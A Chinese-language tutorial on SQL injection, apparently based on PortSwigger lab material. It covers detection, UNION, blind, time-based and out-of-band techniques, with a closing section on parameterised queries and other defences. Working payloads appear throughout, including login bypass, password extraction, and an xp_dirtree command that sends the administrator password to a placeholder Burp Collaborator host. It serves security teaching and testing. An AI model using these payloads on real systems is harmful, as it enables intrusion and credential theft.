SQL注入攻击与防御全面指南
1. SQL注入概述
1.1 什么是SQL注入
SQL注入是一种攻击技术,允许攻击者通过操纵应用程序的数据库查询来干扰正常的数据库操作。攻击者可以利用这种漏洞查看、修改或删除数据库中的敏感数据,甚至在某些情况下获得对服务器的完全控制。
1.2 SQL注入的影响
一次成功的SQL注入攻击可能导致:
- 未经授权访问敏感数据(密码、信用卡信息、个人用户信息)
- 数据篡改或删除
- 服务器持久性后门植入
- 整个系统沦陷
2. SQL注入检测方法
2.1 手动检测技术
- 单引号测试:输入
'观察是否有报错或异常 - SQL语法测试:输入特定SQL语法观察响应差异
- 布尔运算测试:输入
OR 1=1和OR 1=2观察响应差异 - 时间延迟测试:输入会导致查询延迟的payload
- 带外网络交互测试:观察是否会触发外部网络交互
2.2 自动化检测工具
- Burp Suite的Web漏洞扫描器
- SQLMap等专用工具
3. SQL注入攻击类型
3.1 按查询位置分类
- WHERE子句注入:最常见,影响SELECT查询的条件部分
- UPDATE注入:影响UPDATE语句的值或WHERE子句
- INSERT注入:影响INSERT语句的值
- 表名/列名注入:影响SELECT语句的表名或列名部分
- ORDER BY注入:影响排序条件
3.2 按数据格式分类
- 传统字符串注入:通过URL参数或表单字段注入
- XML格式注入:通过XML数据格式注入
- 示例:
<storeId>999 SELECT * FROM information_schema.tables</storeId>
- 示例:
- JSON格式注入:通过JSON数据格式注入
4. SQL注入攻击技术详解
4.1 检索隐藏数据
原理:通过修改查询条件绕过访问控制
示例:
原始URL:https://insecure-website.com/products?category=Gifts
原始查询:SELECT * FROM products WHERE category = 'Gifts' AND released = 1
攻击方式:
- 查看未发布商品:
Gifts'--
结果查询:SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 - 查看所有商品:
Gifts'+OR+1=1--
结果查询:SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
4.2 干扰应用逻辑
原理:通过注释掉关键验证条件绕过认证
示例:
原始查询:SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
攻击方式:
注入administrator'--作为用户名
结果查询:SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
4.3 UNION注入
原理:利用UNION操作符从其他表中检索数据
必要条件:
- 每个查询返回相同数量的列
- 各列数据类型兼容
攻击步骤:
- 确定列数
- 方法1:
ORDER BY递增测试
' ORDER BY 1--,' ORDER BY 2--...直到报错 - 方法2:
UNION SELECT NULL,NULL,...增加NULL数量直到不报错
- 方法1:
- 确定可输出字符串的列
' UNION SELECT 'a',NULL,NULL--,' UNION SELECT NULL,'a',NULL--等 - 构造UNION查询获取数据
' UNION SELECT username, password FROM users--
多列合并技巧:
' UNION SELECT username || ':' || password FROM users--
4.4 数据库信息检索
4.4.1 查询数据库版本
不同数据库的版本查询语句:
| 数据库类型 | 查询语句 |
|---|---|
| SQL Server/MySQL | SELECT @@version |
| Oracle | SELECT * FROM v$version |
| PostgreSQL | SELECT version() |
4.4.2 查询数据库结构
-
非Oracle数据库:
- 查询所有表:
SELECT * FROM information_schema.tables - 查询表列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
- 查询所有表:
-
Oracle数据库:
- 查询所有表:
SELECT * FROM all_tables - 查询表列:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
- 查询所有表:
4.5 盲注技术
4.5.1 基于条件响应的盲注
原理:通过布尔条件触发不同的响应
示例:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm'--
攻击步骤:
- 确定密码长度
' AND (SELECT 'a' FROM Users WHERE Username = 'Administrator' AND LENGTH(Password)>1)='a'-- - 逐字符猜解密码
4.5.2 基于错误触发的盲注
原理:故意触发SQL错误来区分条件真假
示例:
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a'--
4.5.3 基于时间延迟的盲注
原理:通过条件延迟区分查询结果
示例:
- SQL Server:
'; IF (1=1) WAITFOR DELAY '0:0:10'-- - MySQL:
' SELECT IF(1=1,SLEEP(10),'a')-- - PostgreSQL:
' SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
4.5.4 基于带外(OAST)的盲注
原理:利用DNS或HTTP请求外传数据
工具:Burp Collaborator
示例:
- SQL Server:
'; exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'-- - Oracle:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual--
获取数据示例:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')--
4.6 二阶SQL注入
原理:先将恶意输入存储到数据库,之后在检索时触发
特点:
- 输入被存储时看似无害
- 应用信任存储的数据是安全的
- 检索时恶意输入被拼接到查询中
5. SQL注入防御措施
5.1 参数化查询(预编译语句)
正确示例:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
注意事项:
- 对WHERE、INSERT、UPDATE子句有效
- 对表名、列名、ORDER BY子句无效
- 仍需配合输入验证
5.2 其他防御措施
- 最小权限原则:数据库账户仅授予必要权限
- 输入验证:严格验证所有用户输入
- ORM框架:使用安全的ORM框架
- Web应用防火墙(WAF):作为额外防护层
- 错误处理:避免泄露数据库错误信息
6. 总结
SQL注入是最常见且危险的Web应用漏洞之一。攻击者可以通过多种技术利用SQL注入漏洞,从简单的数据检索到完全控制系统。防御SQL注入需要采用多层防御策略,其中参数化查询是最有效的核心防御措施,但必须配合其他安全实践才能提供全面保护。
理解各种SQL注入技术对于开发安全应用和安全测试都至关重要。本指南涵盖了从基础到高级的SQL注入技术,以及相应的防御措施,为开发者和安全专业人员提供了全面的参考。